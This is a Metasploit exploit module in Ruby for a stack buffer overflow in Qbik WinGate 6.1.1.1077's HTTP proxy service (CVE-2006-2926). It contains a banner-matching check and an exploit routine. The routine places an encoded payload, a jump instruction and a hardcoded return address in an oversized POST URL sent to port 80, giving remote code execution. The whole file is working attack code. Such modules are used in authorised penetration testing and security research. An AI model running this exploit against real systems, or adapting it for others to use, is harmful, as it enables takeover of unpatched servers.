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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Qbik WinGate WWW Proxy Server URL Processing Overflow',
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        'Description' => %q{
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          This module exploits a stack buffer overflow in Qbik WinGate version
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          6.1.1.1077 and earlier. By sending malformed HTTP POST URL to the
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          HTTP proxy service on port 80, a remote attacker could overflow
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          a buffer and execute arbitrary code.
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        },
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        'Author' => 'aushack',
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2006-2926' ],
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          [ 'OSVDB', '26214' ],
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          [ 'BID', '18312' ],
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'process',
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          'AllowWin32SEH' => true
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        },
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        'Payload' => {
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          'Space' => 1000,
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          'BadChars' => "\x00\x0a\x0d\x20+&=%\/\\\#;\"\':<>?",
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          'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
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          'StackAdjustment' => -3500,
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          [ 'WinGate 6.1.1.1077', { 'Ret' => 0x01991932 } ], # call esi
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        ],
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        'Privileged' => true,
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        'DisclosureDate' => '2006-06-07',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(80)
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      ]
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    )
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  end
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  def check
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    connect
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    sock.put("GET /\r\n\r\n") # Malformed request to get proxy info
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    banner = sock.get_once || ''
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    if (banner =~ /Server:\sWinGate\s6.1.1\s\(Build 1077\)/)
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      return Exploit::CheckCode::Appears
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    end
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    return Exploit::CheckCode::Safe
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  end
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  def exploit
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    connect
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    print_status("Trying target #{target.name}...")
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    buff = Rex::Text.rand_text_alphanumeric(3000)
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    buff[1200, 1000] = payload.encoded # jmp here
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    buff[2200, 5] = Rex::Arch::X86.jmp(-1005) # esi
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    buff[2284, 4] = [target['Ret']].pack('V') # eip
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    sploit = "POST http://#{buff}/ HTTP/1.0\r\n\r\n"
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    sock.put(sploit)
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    sock.get_once(-1, 3)
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    handler
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    disconnect
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  end
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end
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